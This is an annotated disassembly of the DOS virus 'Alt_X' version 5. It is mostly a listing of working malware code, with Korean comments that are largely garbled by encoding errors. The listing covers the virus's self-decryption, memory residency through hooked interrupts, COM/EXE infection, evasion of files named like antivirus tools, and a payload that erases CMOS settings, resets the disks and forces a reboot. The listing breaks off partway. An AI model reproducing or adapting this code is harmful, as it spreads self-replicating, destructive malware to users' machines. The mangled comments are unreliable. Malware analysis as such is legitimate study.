;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;
;                                              \\\\\\\  \       \  \
;     Alt_X (Version 5)                       \          \     \   \
;                by TK-MAN                    \           \   \    \   98/03
;                                             \            \ \     \
;                                              \\\\\\\      \      \\\\\\\ #03
; Virus Name : Alt_X (Version 5)
; Author     : TK-MAN
; Origin     : Corea
; Disassembly by Crom
; Disassembly Date : 1998/03/06
; In the Wild / South Corea
;
; Type : Memory resident  COM/EXE
;
; !****************************************************************************!
; *                                                                            *
; * w !                                                                     *
; *    e aa a šaa. aBⷥ ae awAᴡea.      *
; *    Abae  aša Ae e AA Ёᕡ i  g   *
; *    ea. ew aa Зa ia !                                       *
; *                                                                            *
; * Warning !                                                                  *
; *    This is a VIRUS source code. This source code is provieded educational  *
; *    purpose. The author is not responsible for any damage caused by this c  *
; *    ode. Don't modify or execute it !                                       *
; *                                                                            *
; !****************************************************************************!
;
; 韡 a e Alt_X a 5 弁 i  Ё va.
; A ae aqa a wwe ba a bEa. ww e wwӡ
; ba. e Ё Qi Ae ai ei e  ᢁa a
; e  aaea ya i i  i a bEa.
;
;
; b AV i  i
;
; V3+ / V3Pro : Alt_X.2606
; Heuristic Test : DrWeb, F-Prot, TBAV A e
;
; A : 1. w w Upper Memory a 0  a ៥a.
;          2. COM,EXE i e ¸wa ea aea. ¸waa a e
;             a w qq áwⷥ Aa   a.
;          3. NE 啡 ae qqi ǡ gea.
;
; A Alt_X aaA e aa.
;
; ------------------------------------------------------------------------------
; AaAb : 02/09
; A : [ awe Aaa PCɷwA ww "a"]
; -----------------------------------------------------------------------------
;
;   Ae Aaa  ЁǷ巡 PCɷwi  ɷЁ A͡A  
;  PCawai a awA a.
;   e鮁 AaaeA aae a AA  H
;  I aaA V31200.EXE a HA 巁 V3aIae A
;  a wE  i ЗЁ aa wwi aae  ϡЁ
;  i aǡ aa,  ЁǷ巡 ae  A A aaA a
;   aaaew ϡЁa ¬eA a jva.
;   ЁǷe e鮁ea ie A aa Aá  aa
;   V3+ A i awe a i З HAlt:X.1264I
;  aaA qqEa.
;   aae  COM EXE  w Зai  qqa aai
;  1264ǡaa waǡa, aaa AA  we 30ҁ
;  e 1 eba Alt+A, Enterǡ wi i  {e wwi a
;  a a.
;   a  aae  H qe AltۡX  aaIae iaa
;  wa aaa a b iai qq w ia  ewǡ
;   a.
;  e鮁ebe Ja aaA  A i awe  aa
;  ww xa  A e a ϩaaaKe Jaa  
;  aa  Va  w  PCɷ(go  AHN)  U  aa
;  (www.ahnlab.com)A a V3+i  awae  aq  aaK
;  jva.
;
; ---------------------------------------------------------------------------
;
;
; a a ba A ia a !
;
;******************************************************************************
;
;  qqE COM |
;
;******************************************************************************
;

0100 B91302        MOV     CX,0213              ; aa qq a
0103 0E            PUSH    CS                   ; CS w
0104 B80001        MOV     AX,0100              ;
0107 50            PUSH    AX                   ; 100 h w
0108 0E            PUSH    CS                   ; CS=DS (ϩa)
0109 1F            POP     DS                   ;
010A BBD804        MOV     BX,04D8              ;
010D B8AF04        MOV     AX,04AF              ;
0110 2BD8          SUB     BX,AX                ; 04D8 - 04AF =  COM a
0112 81C30001      ADD     BX,0100              ; wE á
0116 8B07          MOV     AX,[BX]              ;
0118 B104          MOV     CL,04                ;
011A D3E8          SHR     AX,CL                ; AX / (2^4) -> Aaa e
011C 8CCB          MOV     BX,CS                ;
011E 83C310        ADD     BX,+10               ;
0121 03D8          ADD     BX,AX                ; BX=CS+10(PSP)+aU
0123 53            PUSH    BX                   ;
0124 B80000        MOV     AX,0000              ;
0127 50            PUSH    AX                   ;
0128 CB            RETF                         ; a wa aea.

;
; iq w
;
; 0100 e aa i ta.
; 0103 ~ 0107 e  COM  ái wea. (COM e CS:100h A bea.)
; 0108 ~ 0109 e ϩa a. COM ae CS  DS t {a.
; 010A ~ 0110 e ta  COM a i wae i aaǥa.
; 0112  tA + 100h i Ё ea. (COM ae 100h  baa.)
; 0116 ~ 011A a e i Aaa eea. 16 aaa a 1 eq
;             Aaaa Ea. AX Ae aa b  / 16 i Ёe a
;             a eq Aaat aa.
; 011C ~ 0121  aa a Aaai e a Ё aq {e  aw
;             Ea.
;             AX = aa a Aaa
;             BX = e Aaa (CS) + 10h (PSP t, 256 aa)
;              ti ae e AaaA aaa Aaai i
;              a.
; 0123 ~ 0128  e Aaa (BX)  aU (AX=0) i aȂA  RETF ae a
;             a b 0 a Ea.
;

<< 128 廡 ҁ 0000 廡  aA bEa. >>

0000 B91302        MOV     CX,0213              ; aa ia
0003 E81200        CALL    0018                 ; e ዷ ˥
0006 8CC8          MOV     AX,CS
0008 8ED8          MOV     DS,AX
000A 8EC0          MOV     ES,AX
000C E82400        CALL    0033                 ; qѡi ΅a.
000F EB32          JMP     0043

0011 90            NOP
0012 7114          JNO     0028                 ;
0014 0000          ADD     [BX+SI],AL           ; Int 9 A aw
0016 0000          ADD     [BX+SI],AL           ;

0018 16            PUSH    SS                   ;
0019 17            POP     SS                   ;
001A 9C            PUSHF                        ;
001B 58            POP     AX                   ;
001C 250001        AND     AX,0100              ;
001F BB3D00        MOV     BX,003D              ; qѡǡt a
0022 2E            CS:                          ; ( T  ዷ e qѡǡ
0023 0107          ADD     [BX],AX              ;  t ewA aaA qѡ
0025 06            PUSH    ES                   ;  a Ή gea. )
0026 5B            POP     BX                   ;
0027 03C3          ADD     AX,BX                ;
0029 2E            CS:                          ;
002A A31200        MOV     [0012],AX            ;
002D C3            RET

002E 86C4          XCHG    AL,AH                ; AH  AL i aa.
0030 CD21          INT     21
0032 C3            RET

0033 BE4300        MOV     SI,0043              ; qѡi ΅a.
0036 8BFE          MOV     DI,SI                ;
0038 B9F304        MOV     CX,04F3              ; 
003B AD            LODSW                        ;
003C 351302        XOR     AX,1235              ; ǡt
003F AB            STOSW                        ;
0040 E2F9          LOOP    003B                 ;
0042 C3            RET                          ;

0043 B80B44        MOV     AX,440B              ;
0046 BB9819        MOV     BX,1998              ; aa w a a
0049 B91302        MOV     CX,0213              ;
004C E8DFFF        CALL    002E                 ; AX=0B44h
004F 81FB1302      CMP     BX,0213              ;
0053 7510          JNZ     0065                 ;
0055 81F99819      CMP     CX,1998              ;
0059 750A          JNZ     0065
005B 0BD2          OR      DX,DX                ;
005D 7403          JZ      0062
005F E8BA03        CALL    041C                 ; ALT-X.MSG ei
0062 E9E600        JMP     014B                 ;
0065 C70614000000  MOV     WORD PTR [0014],0000 ;
006B C70616000000  MOV     WORD PTR [0016],0000 ;
0071 B82A00        MOV     AX,002A              ;
0074 E8B7FF        CALL    002E                 ; AX=2A00
0077 F6C601        TEST    DH,01                ;
007A 740B          JZ      0087
007C F6C201        TEST    DL,01                ;
007F 7406          JZ      0087
0081 C70614000100  MOV     WORD PTR [0014],0001 ;
0087 8E061200      MOV     ES,[0012]            ; wA wa
008B B84A00        MOV     AX,004A              ;
008E BBFFFF        MOV     BX,FFFF              ; A a w iw
0091 E89AFF        CALL    002E                 ; BX = Aae A a
0094 B84A00        MOV     AX,004A              ;
0097 81EB4801      SUB     BX,0148              ; aa aeq 
009B E890FF        CALL    002E
009E B84800        MOV     AX,0048              ;
00A1 BBA300        MOV     BX,00A3              ; aa aeq iw
00A4 8E061200      MOV     ES,[0012]            ;
00A8 E883FF        CALL    002E
00AB A3AB04        MOV     [04AB],AX
00AE B84800        MOV     AX,0048              ;
00B1 BBA300        MOV     BX,00A3              ; qѡ ǩ  iw
00B4 E877FF        CALL    002E
00B7 A3AD04        MOV     [04AD],AX            ; qѡ ǩ Aaa
00BA A1AB04        MOV     AX,[04AB]
00BD 48            DEC     AX                   ; MCB 苡
00BE 8EC0          MOV     ES,AX
00C0 26            ES:                          ; aQ wb  
00C1 C70601000800  MOV     WORD PTR [0001],0008
00C7 40            INC     AX
00C8 8EC0          MOV     ES,AX
00CA 33FF          XOR     DI,DI                ; DI = 0
00CC 33F6          XOR     SI,SI                ; SI = 0
00CE 8B0EF609      MOV     CX,[09F6]            ; aa Awᝡ a
00D2 FC            CLD
00D3 F3            REPZ
00D4 A4            MOVSB
00D5 A1AD04        MOV     AX,[04AD]            ;
00D8 48            DEC     AX                   ; aQ wb  w
00D9 8EC0          MOV     ES,AX                ;
00DB 26            ES:                          ;
00DC C70601000800  MOV     WORD PTR [0001],0008 ;
00E2 B83521        MOV     AX,2135              ; Int 21h  苡
00E5 E846FF        CALL    002E
00E8 2E            CS:
00E9 8E1EAB04      MOV     DS,[04AB]
00ED 891EFA09      MOV     [09FA],BX            ;
00F1 8C06FC09      MOV     [09FC],ES            ; Int 21h  w
00F5 FA            CLI
00F6 B82521        MOV     AX,2125              ; Int 21h a
00F9 BA1405        MOV     DX,0514
00FC E82FFF        CALL    002E
00FF FB            STI
0100 B83508        MOV     AX,0835              ; Int 8h  苡
0103 E828FF        CALL    002E
0106 2E            CS:
0107 8E1EAB04      MOV     DS,[04AB]
010B 891EFE09      MOV     [09FE],BX
010F 8C06000A      MOV     [0A00],ES
0113 FA            CLI
0114 B82508        MOV     AX,0825              ; Int 8h a
0117 BA9005        MOV     DX,0590
011A E811FF        CALL    002E
011D FB            STI
011E B83509        MOV     AX,0935              ; Int 9h  苡
0121 E80AFF        CALL    002E
0124 2E            CS:
0125 8E1EAB04      MOV     DS,[04AB]
0129 891E020A      MOV     [0A02],BX
012D 8C06040A      MOV     [0A04],ES
0131 FA            CLI
0132 B82509        MOV     AX,0925              ; Int 9h a
0135 BADA04        MOV     DX,04DA
0138 E8F3FE        CALL    002E
013B FB            STI
013C BB8D01        MOV     BX,018D              ;
013F 803F00        CMP     BYTE PTR [BX],00
0142 7503          JNZ     0147
0144 E9E708        JMP     0A2E
0147 8CC8          MOV     AX,CS                ;
0149 8ED8          MOV     DS,AX
014B BB8D01        MOV     BX,018D
014E 803F00        CMP     BYTE PTR [BX],00
0151 7503          JNZ     0156
0153 E9EA08        JMP     0A40
0156 803E3E0400    CMP     BYTE PTR [043E],00   ; a wȁa (COM/EXE)
015B 7403          JZ      0160
015D EB2F          JMP     018E
015F 90            NOP
0160 FA            CLI                          ;  EXE З
0161 A11200        MOV     AX,[0012]            ; PSP t
0164 8EC0          MOV     ES,AX
0166 8ED8          MOV     DS,AX
0168 051000        ADD     AX,0010              ; + PSP (256 aa)
016B 2E            CS:
016C 01064504      ADD     [0445],AX            ; Aaa  e
0170 2E            CS:
0171 01064104      ADD     [0441],AX            ;
0175 2E            CS:
0176 8E164104      MOV     SS,[0441]            ; SS 
017A 2E            CS:
017B 8B263F04      MOV     SP,[043F]            ; SP 
017F 33C0          XOR     AX,AX
0181 33DB          XOR     BX,BX
0183 33C9          XOR     CX,CX
0185 33D2          XOR     DX,DX
0187 FB            STI
0188 2E            CS:                          ;
0189 FF2E4304      JMP     FAR [0443]           ;   a (CS:IP)

018D 01

018E FA                                         ; COM 
018F 5F            POP     DI
0190 07            POP     ES
0191 06            PUSH    ES
0192 57            PUSH    DI
0193 BE4704        MOV     SI,0447              ;  COM |
0196 B96400        MOV     CX,0064              ; 
0199 F3            REPZ
019A A4            MOVSB
019B 8CC0          MOV     AX,ES
019D 8ED8          MOV     DS,AX
019F 33C0          XOR     AX,AX
01A1 33DB          XOR     BX,BX
01A3 33C9          XOR     CX,CX
01A5 33D2          XOR     DX,DX
01A7 FB            STI
01A8 CB            RETF                         ; aȂA  t wAa.

01A9               ALT-X.MSG w ( Ŭw ei )
"
Hello !! ALT-X virus..Verision:5 Made by TK-MAN
$
 aae Ÿ a.
ⷥ we 锁 awi aa
ii e b aai ew, A˩ˡ awaa
ɷwA a a Sa.

e i ዡa aaA aaa a
iw aa A͡ wЁA
hA Sa. (aae a qae aa) ^o^
e a iaaA aaA A
PCɷ wA wwe i wia sa..
aqE aai i..eaqe Зaaq..

***  eA ! ***

ˡa:Aaā១aЁeAaaaA១aͥaˡa..A
"

0412 61           "ALT-X.MSG"                   ; ALT-X.MSG

041C B83C00        MOV     AX,003C              ; a 
041F 33C9          XOR     CX,CX
0421 BA1204        MOV     DX,0412              ;
0424 E807FC        CALL    002E                 ;
0427 7214          JB      043D                 ;
0429 8BD8          MOV     BX,AX
042B B84000        MOV     AX,0040              ; a a
042E B96902        MOV     CX,0269
0431 BAA901        MOV     DX,01A9
0434 E8F7FB        CALL    002E
0437 B83E00        MOV     AX,003E              ; a h
043A E8F1FB        CALL    002E
043D C3            RET

043E 018000CC      ADD     [BX+SI+CC00],AX
0442 2B0E00CB      SUB     CX,[CB00]
0446 18

0447 ~              COM a |

04AF B91302        MOV     CX,0213              ; COM |A e 
04B2 0E            PUSH    CS                   ;
04B3 B80001        MOV     AX,0100              ;
04B6 50            PUSH    AX                   ;
04B7 0E            PUSH    CS                   ;
04B8 1F            POP     DS                   ;
04B9 BBD804        MOV     BX,04D8              ;
04BC B8AF04        MOV     AX,04AF              ;
04BF 2BD8          SUB     BX,AX                ;
04C1 81C30001      ADD     BX,0100              ;
04C5 8B07          MOV     AX,[BX]              ;
04C7 B104          MOV     CL,04                ;
04C9 D3E8          SHR     AX,CL                ;
04CB 8CCB          MOV     BX,CS                ;
04CD 83C310        ADD     BX,+10               ;
04D0 03D8          ADD     BX,AX                ;
04D2 53            PUSH    BX                   ;
04D3 B80000        MOV     AX,0000              ;
04D6 50            PUSH    AX                   ;
04D7 CB            RETF                         ;
04D8                                            ; qqE COM a 

;<><><><><><><><><><><><><><><><><><><><><><><><><><><><>
; aa Int 9h Ѕi
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><>

04DA 55            PUSH    BP
04DB 8BEC          MOV     BP,SP
04DD 50            PUSH    AX
04DE 53            PUSH    BX
04DF 51            PUSH    CX
04E0 52            PUSH    DX
04E1 56            PUSH    SI
04E2 57            PUSH    DI
04E3 1E            PUSH    DS
04E4 06            PUSH    ES
04E5 9C            PUSHF
04E6 2E            CS:
04E7 833E140001    CMP     WORD PTR [0014],+01  ;
04EC 7517          JNZ     0505
04EE 33C0          XOR     AX,AX
04F0 8EC0          MOV     ES,AX
04F2 26            ES:
04F3 A01704        MOV     AL,[0417]            ;
04F6 240C          AND     AL,0C                ;
04F8 3C0C          CMP     AL,0C                ;
04FA 7509          JNZ     0505
04FC E460          IN      AL,60                ;
04FE 3C53          CMP     AL,53                ;
0500 7503          JNZ     0505
0502 E96801        JMP     066D
0505 9D            POPF
0506 07            POP     ES
0507 1F            POP     DS
0508 5F            POP     DI
0509 5E            POP     SI
050A 5A            POP     DX
050B 59            POP     CX
050C 5B            POP     BX
050D 58            POP     AX
050E 5D            POP     BP
050F 2E            CS:
0510 FF2E020A      JMP     FAR [0A02]

;<><><><><><><><><><><><><><><><><><><><><><><><>
;    aa Int 21h Ѕi
;<><><><><><><><><><><><><><><><><><><><><><><><>

0514 9C            PUSHF
0515 50            PUSH    AX
0516 86C4          XCHG    AL,AH
0518 3D0B44        CMP     AX,440B              ; aa w a a
051B 58            POP     AX
051C 7515          JNZ     0533                 ;
051E 81FB9819      CMP     BX,1998              ;
0522 750F          JNZ     0533                 ;
0524 81F91302      CMP     CX,0213              ;
0528 7509          JNZ     0533
052A 9D            POPF
052B 87D9          XCHG    BX,CX
052D 2E            CS:
052E 8B161600      MOV     DX,[0016]
0532 CF            IRET
0533 9D            POPF                         ;
0534 55            PUSH    BP                   ;
0535 8BEC          MOV     BP,SP                ; BP = SP
0537 50            PUSH    AX
0538 53            PUSH    BX
0539 51            PUSH    CX
053A 52            PUSH    DX
053B 56            PUSH    SI
053C 57            PUSH    DI
053D 1E            PUSH    DS
053E 06            PUSH    ES
053F 9C            PUSHF
0540 86C4          XCHG    AL,AH                ; AH,AL a
0542 0E            PUSH    CS                   ; CS=DS=ES
0543 1F            POP     DS
0544 0E            PUSH    CS
0545 07            POP     ES
0546 3D4B00        CMP     AX,004B              ; a Зa ?
0549 7510          JNZ     055B
054B E8C100        CALL    060F                 ; a q a
054E 803E3E0402    CMP     BYTE PTR [043E],02   ; ¸waa COM a EXE aa
0553 7414          JZ      0569
0555 E82502        CALL    077D                 ; a qq
0558 EB0F          JMP     0569
055A 90            NOP
055B 833E160001    CMP     WORD PTR [0016],+01  ;
0560 7507          JNZ     0569                 ;
0562 3C40          CMP     AL,40                ; a a ?
0564 7503          JNZ     0569                 ;
0566 E89D04        CALL    0A06                 ;
0569 9D            POPF
056A 07            POP     ES
056B 1F            POP     DS
056C 5F            POP     DI
056D 5E            POP     SI
056E 5A            POP     DX
056F 59            POP     CX
0570 5B            POP     BX
0571 58            POP     AX
0572 5D            POP     BP
0573 2E            CS:
0574 FF2EFA09      JMP     FAR [09FA]

0578 0000                                       ; ww bi e
057A 0000                                       ; ww bi e
057C 1E            PUSH    DS                   ; ?
057D 002E0000      ADD     [0000],CH
0581 66            DB      66
0582 0D1C00        OR      AX,001C
0585 2D611E        SUB     AX,1E61
0588 6C            DB      6C
0589 26            ES:
058A 7414          JZ      05A0
058C 2D0C78        SUB     AX,780C
058F 2D

;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
; aa Int 8h Ѕi
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

0590 55            PUSH    BP
0591 8BEC          MOV     BP,SP
0593 50            PUSH    AX
0594 53            PUSH    BX
0595 51            PUSH    CX
0596 52            PUSH    DX
0597 56            PUSH    SI
0598 57            PUSH    DI
0599 1E            PUSH    DS
059A 06            PUSH    ES
059B 9C            PUSHF
059C 8CC8          MOV     AX,CS
059E 8ED8          MOV     DS,AX
05A0 833E140001    CMP     WORD PTR [0014],+01
05A5 7403          JZ      05AA
05A7 EB57          JMP     0600
05A9 90            NOP
05AA 813E7805907E  CMP     WORD PTR [0578],7E90 ; 30 ҁ ? (60*18.5*30)
05B0 7707          JA      05B9
05B2 FF067805      INC     WORD PTR [0578]
05B6 EB48          JMP     0600
05B8 90            NOP
05B9 813E7A053804  CMP     WORD PTR [057A],0438 ;
05BF 7707          JA      05C8
05C1 FF067A05      INC     WORD PTR [057A]
05C5 EB39          JMP     0600
05C7 90            NOP
05C8 B84000        MOV     AX,0040              ;
05CB 8EC0          MOV     ES,AX
05CD BE7C05        MOV     SI,057C              ;
05D0 BF1A00        MOV     DI,001A
05D3 B91400        MOV     CX,0014
05D6 FC            CLD
05D7 F3            REPZ
05D8 A4            MOVSB
05D9 B800B8        MOV     AX,B800              ;
05DC 8EC0          MOV     ES,AX
05DE B9D007        MOV     CX,07D0
05E1 33FF          XOR     DI,DI
05E3 26            ES:
05E4 8B05          MOV     AX,[DI]
05E6 80E4F0        AND     AH,F0
05E9 80CC04        OR      AH,04
05EC 26            ES:
05ED 8905          MOV     [DI],AX
05EF 83C702        ADD     DI,+02
05F2 E2EF          LOOP    05E3                 ;
05F4 C7067A050000  MOV     WORD PTR [057A],0000
05FA C70616000100  MOV     WORD PTR [0016],0001
0600 9D            POPF
0601 07            POP     ES
0602 1F            POP     DS
0603 5F            POP     DI
0604 5E            POP     SI
0605 5A            POP     DX
0606 59            POP     CX
0607 5B            POP     BX
0608 58            POP     AX
0609 5D            POP     BP
060A 2E            CS:
060B FF2EFE09      JMP     FAR [09FE]

060F 1E            PUSH    DS                   ; a q a
0610 8B46F2        MOV     AX,[BP-0E]           ; aȂA wE DS t
0613 8ED8          MOV     DS,AX
0615 8EC0          MOV     ES,AX
0617 8B76F8        MOV     SI,[BP-08]           ;
061A 8BFE          MOV     DI,SI                ;
061C AC            LODSB                        ;
061D 3C00          CMP     AL,00                ; aq {a ?
061F 740D          JZ      062E
0621 3C61          CMP     AL,61                ;
0623 7206          JB      062B
0625 3C7A          CMP     AL,7A                ;
0627 7702          JA      062B
0629 24DF          AND     AL,DF                ;
062B AA            STOSB
062C EBEE          JMP     061C
062E 83EF03        SUB     DI,+03               ;
0631 8CC8          MOV     AX,CS
0633 8ED8          MOV     DS,AX
0635 BE6407        MOV     SI,0764              ; COM a ?
0638 893E6207      MOV     [0762],DI
063C C6063E0400    MOV     BYTE PTR [043E],00   ;
0641 B90300        MOV     CX,0003
0644 F3            REPZ
0645 A6            CMPSB
0646 7416          JZ      065E                 ;
0648 FE063E04      INC     BYTE PTR [043E]      ;
064C B90300        MOV     CX,0003
064F 8B3E6207      MOV     DI,[0762]
0653 BE6707        MOV     SI,0767              ;
0656 F3            REPZ
0657 A6            CMPSB
0658 7404          JZ      065E
065A FE063E04      INC     BYTE PTR [043E]
065E 803E3E0402    CMP     BYTE PTR [043E],02   ; COM a EXE a ae 2
0663 7403          JZ      0668
0665 E88300        CALL    06EB                 ; a q a
0668 1F            POP     DS
0669 C3            RET

066A 33C0          XOR     AX,AX                ;
066C CF            IRET

066D EB03          JMP     0672
066F 90            NOP
0670 80052E        ADD     BYTE PTR [DI],2E

0673 833E140001    CMP     WORD PTR [0014],+01
0678 756C          JNZ     06E6
067A 8CC8          MOV     AX,CS
067C 8ED8          MOV     DS,AX
067E 8EC0          MOV     ES,AX
0680 B82425        MOV     AX,2524              ; Int 24h  苡
0683 BA6A06        MOV     DX,066A
0686 CD21          INT     21
0688 B90200        MOV     CX,0002              ;
068B B400          MOV     AH,00                ;
068D 8A167006      MOV     DL,[0670]            ;
0691 CD13          INT     13                   ;
0693 B408          MOV     AH,08                ; aa  苡
0695 8A167006      MOV     DL,[0670]            ;
0699 51            PUSH    CX                   ;
069A CD13          INT     13                   ;
069C 8AC1          MOV     AL,CL
069E 243F          AND     AL,3F
06A0 8A267106      MOV     AH,[0671]
06A4 BBE706        MOV     BX,06E7
06A7 B90100        MOV     CX,0001
06AA 32F6          XOR     DH,DH
06AC 8A167006      MOV     DL,[0670]
06B0 CD13          INT     13
06B2 FE067006      INC     BYTE PTR [0670]
06B6 59            POP     CX
06B7 E2D2          LOOP    068B
06B9 B94000        MOV     CX,0040              ; CMOS aa i
06BC 8AC1          MOV     AL,CL
06BE E670          OUT     70,AL
06C0 32C0          XOR     AL,AL
06C2 E671          OUT     71,AL
06C4 E2F6          LOOP    06BC
06C6 8A267106      MOV     AH,[0671]
06CA 32D2          XOR     DL,DL
06CC CD13          INT     13
06CE 8A267106      MOV     AH,[0671]
06D2 B201          MOV     DL,01
06D4 CD13          INT     13
06D6 B409          MOV     AH,09                ; A b
06D8 BAA901        MOV     DX,01A9
06DB CD21          INT     21
06DD 33C0          XOR     AX,AX                ;
06DF CD16          INT     16
06E1 EA0000FFFF    JMP     FFFF:0000            ;  ˷
06E6 C3            RET

06E7 0000          ADD     [BX+SI],AL
06E9 0102          ADD     [BP+SI],AX

06EB 1E            PUSH    DS                   ; a q a
06EC 06            PUSH    ES
06ED 1F            POP     DS
06EE 2E            CS:
06EF 8B1E6207      MOV     BX,[0762]            ;
06F3 4B            DEC     BX
06F4 817FFB4D4D    CMP     WORD PTR [BX-05],4D4D; MM
06F9 7460          JZ      075B
06FB 817FFE5633    CMP     WORD PTR [BX-02],3356; V3
0700 7459          JZ      075B
0702 817FFB5633    CMP     WORD PTR [BX-05],3356; V3
0707 7452          JZ      075B
0709 817FFE5456    CMP     WORD PTR [BX-02],5654; TV
070E 744B          JZ      075B
0710 817FFE5432    CMP     WORD PTR [BX-02],3254; T2
0715 7444          JZ      075B
0717 817FFE5750    CMP     WORD PTR [BX-02],5057; WP
071C 743D          JZ      075B
071E 817FFC5343    CMP     WORD PTR [BX-04],4353; SC
0723 7436          JZ      075B
0725 817FFE5056    CMP     WORD PTR [BX-02],5650; PV
072A 742F          JZ      075B
072C 817FFE4F54    CMP     WORD PTR [BX-02],544F; OT
0731 7428          JZ      075B
0733 817FFF4D2E    CMP     WORD PTR [BX-01],2E4D; M.
0738 7421          JZ      075B
073A 817FFE4C4C    CMP     WORD PTR [BX-02],4C4C; LL
073F 741A          JZ      075B

0741 817FFE4154    CMP     WORD PTR [BX-02],5441; FORMAT З aa aA
0746 7511          JNZ     0759                 ;
0748 817FFC524D    CMP     WORD PTR [BX-04],4D52;
074D 750A          JNZ     0759                 ;
074F 817FFA464F    CMP     WORD PTR [BX-06],4F46;
0754 7503          JNZ     0759                 ;
0756 E814FF        CALL    066D                 ; aa  CMOS aa aA
0759 1F            POP     DS
075A C3            RET

075B 1F            POP     DS
075C C6063E0402    MOV     BYTE PTR [043E],02
0761 C3            RET
0762 42            INC     DX
0763 05

0764 455845        db      'EXE'
0767 43            db      'COM'

076A 86C4          XCHG    AL,AH                ;
076C 9C            PUSHF
076D 2E            CS:
076E FF1EFA09      CALL    FAR [09FA]
0772 C3            RET

0773               ; a 
0775               ; a b e
0779               ; a ͡

077D 8B46F2        MOV     AX,[BP-0E]           ; DS:DX 苡 (aq)
0780 8ED8          MOV     DS,AX
0782 8B56F8        MOV     DX,[BP-08]
0785 B84300        MOV     AX,0043              ;  苡
0788 E8DFFF        CALL    076A
078B 7303          JNB     0790
078D E9C701        JMP     0957                 ; Aᯡ a
0790 2E            CS:
0791 890E7307      MOV     [0773],CX            ;  w
0795 B84301        MOV     AX,0143              ;  i
0798 33C9          XOR     CX,CX
079A E8CDFF        CALL    076A                 ;
079D 7303          JNB     07A2
079F E9B501        JMP     0957
07A2 B83D02        MOV     AX,023D              ; a e
07A5 E8C2FF        CALL    076A
07A8 7303          JNB     07AD
07AA E9AA01        JMP     0957
07AD 2E            CS:
07AE A3EE09        MOV     [09EE],AX            ; Ѕi w
07B1 8CC8          MOV     AX,CS
07B3 8ED8          MOV     DS,AX                ; CS=DS=ES
07B5 8EC0          MOV     ES,AX
07B7 B85700        MOV     AX,0057              ;
07BA 8B1EEE09      MOV     BX,[09EE]
07BE E8A9FF        CALL    076A
07C1 890E7507      MOV     [0775],CX            ;
07C5 89167707      MOV     [0777],DX            ;
07C9 8B1EEE09      MOV     BX,[09EE]
07CD B84202        MOV     AX,0242              ; a {a 
07D0 33C9          XOR     CX,CX
07D2 33D2          XOR     DX,DX
07D4 E893FF        CALL    076A
07D7 A37907        MOV     [0779],AX
07DA 89167B07      MOV     [077B],DX
07DE 8B1EEE09      MOV     BX,[09EE]
07E2 B84200        MOV     AX,0042              ; a qa 
07E5 B90000        MOV     CX,0000
07E8 BA0000        MOV     DX,0000
07EB E87CFF        CALL    076A
07EE 7303          JNB     07F3
07F0 E93301        JMP     0926
07F3 B83F00        MOV     AX,003F              ; | 
07F6 B94000        MOV     CX,0040              ; 40h
07F9 803E3E0400    CMP     BYTE PTR [043E],00   ;
07FE 7403          JZ      0803                 ;
0800 B96400        MOV     CX,0064              ; 64h
0803 BA4704        MOV     DX,0447              ;
0806 E861FF        CALL    076A
0809 803E3E0400    CMP     BYTE PTR [043E],00   ;
080E 7403          JZ      0813
0810 E94501        JMP     0958
0813 813E59041302  CMP     WORD PTR [0459],0213 ;
0819 7505          JNZ     0820
081B E90801        JMP     0926
081E 4D            DEC     BP
081F 5A            POP     DX
0820 833E140001    CMP     WORD PTR [0014],+01
0825 7425          JZ      084C
0827 B84200        MOV     AX,0042              ; 啡 a  a
082A 8B0E8504      MOV     CX,[0485]
082E 8B168304      MOV     DX,[0483]
0832 E835FF        CALL    076A
0835 B83F00        MOV     AX,003F              ;
0838 B90200        MOV     CX,0002              ; 2 aa 
083B BA1E08        MOV     DX,081E
083E E829FF        CALL    076A
0841 813E1E084E45  CMP     WORD PTR [081E],454E ; NE a a ?
0847 7503          JNZ     084C
0849 E9DA00        JMP     0926
084C A15504        MOV     AX,[0455]            ;
084F A34104        MOV     [0441],AX
0852 A15704        MOV     AX,[0457]
0855 A33F04        MOV     [043F],AX
0858 A15B04        MOV     AX,[045B]
085B A34304        MOV     [0443],AX
085E A15D04        MOV     AX,[045D]
0861 A34504        MOV     [0445],AX
0864 A14B04        MOV     AX,[044B]
0867 833E490400    CMP     WORD PTR [0449],+00
086C 7401          JZ      086F
086E 48            DEC     AX
086F F726F009      MUL     WORD PTR [09F0]
0873 03064904      ADD     AX,[0449]
0877 83D200        ADC     DX,+00
087A 833E140001    CMP     WORD PTR [0014],+01
087F 740F          JZ      0890
0881 39067907      CMP     [0779],AX
0885 7506          JNZ     088D
0887 39167B07      CMP     [077B],DX
088B 7403          JZ      0890
088D E99600        JMP     0926
0890 050F00        ADD     AX,000F              ; 16   ei
0893 83D200        ADC     DX,+00
0896 25F0FF        AND     AX,FFF0              ;
0899 A3F209        MOV     [09F2],AX
089C 8916F409      MOV     [09F4],DX
08A0 0306F609      ADD     AX,[09F6]
08A4 83D200        ADC     DX,+00
08A7 F736F009      DIV     WORD PTR [09F0]      ;
08AB 83FA00        CMP     DX,+00
08AE 7401          JZ      08B1
08B0 40            INC     AX
08B1 89164904      MOV     [0449],DX            ;
08B5 A34B04        MOV     [044B],AX
08B8 8B16F409      MOV     DX,[09F4]
08BC A1F209        MOV     AX,[09F2]
08BF F736F809      DIV     WORD PTR [09F8]      ;
08C3 2B064F04      SUB     AX,[044F]
08C7 A35D04        MOV     [045D],AX
08CA 81C20000      ADD     DX,0000
08CE 89165B04      MOV     [045B],DX
08D2 A35504        MOV     [0455],AX
08D5 33C0          XOR     AX,AX
08D7 A35704        MOV     [0457],AX
08DA C70659041302  MOV     WORD PTR [0459],0213 ; qq ia
08E0 B84200        MOV     AX,0042              ; a qa 
08E3 33C9          XOR     CX,CX
08E5 33D2          XOR     DX,DX
08E7 E880FE        CALL    076A
08EA B84000        MOV     AX,0040              ; ewE A a
08ED 8B1EEE09      MOV     BX,[09EE]
08F1 B92000        MOV     CX,0020
08F4 BA4704        MOV     DX,0447
08F7 E870FE        CALL    076A
08FA 7303          JNB     08FF
08FC EB28          JMP     0926
08FE 90            NOP
08FF B84200        MOV     AX,0042              ; {a 
0902 8B0EF409      MOV     CX,[09F4]
0906 8B16F209      MOV     DX,[09F2]
090A E85DFE        CALL    076A
090D E8C100        CALL    09D1                 ; aa qѡ
0910 B84000        MOV     AX,0040              ; qѡ E aa a
